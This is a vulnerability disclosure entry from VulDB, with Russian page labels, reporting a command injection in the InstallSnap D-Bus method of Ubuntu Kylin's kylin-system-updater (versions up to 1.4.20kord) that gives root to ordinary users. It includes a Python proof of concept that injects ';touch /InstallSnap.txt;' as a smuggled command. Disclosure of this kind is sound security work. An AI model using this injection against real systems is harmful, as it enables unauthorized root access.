Отправить #97298: UbuntuKylin OS privilege escalation vulnerabilityИнформация

НазваниеUbuntuKylin OS privilege escalation vulnerability
ОписаниеDescribe There is a command injection vulnerability in the InstallSnap function in the update component (Kylin-system-updater) of the Ubuntu Kylin OS system. Any user can call the vulnerability, causing ordinary users to obtain root privileges through the vulnerability. Hazard level High Affected version Ubuntukylin:kylin-system-updater <= 1.4.20kord POC&&EXP ISO Download: https://www.ubuntukylin.com/downloads/download.php?id=91 exp.py ``` import dbus import os payload = ';touch /InstallSnap.txt;' bus=dbus.SystemBus() xattr=bus.get_object('com.kylin.systemupgrade','/com/kylin/systemupgrade') iface=dbus.Interface(xattr,dbus_interface='com.kylin.systemupgrade.interface') prop=iface.InstallSnap("{}".format(payload)) print(prop) os.system("ls -l /InstallSnap.txt") ```
Источник⚠️ https://github.com/cn-lwj/vuldb/blob/master/kylin-system-updater_vuln.md
Пользователь
 cn-lwj (UID 42196)
Представление03.03.2023 10:53 (4 лет назад)
Модерация08.03.2023 19:06 (5 days later)
Статуспринято
Запись VulDB222600 [kylin-system-updater до 1.4.20kord на Ubuntu Kylin Update InstallSnap эскалация привилегий]
Баллы20

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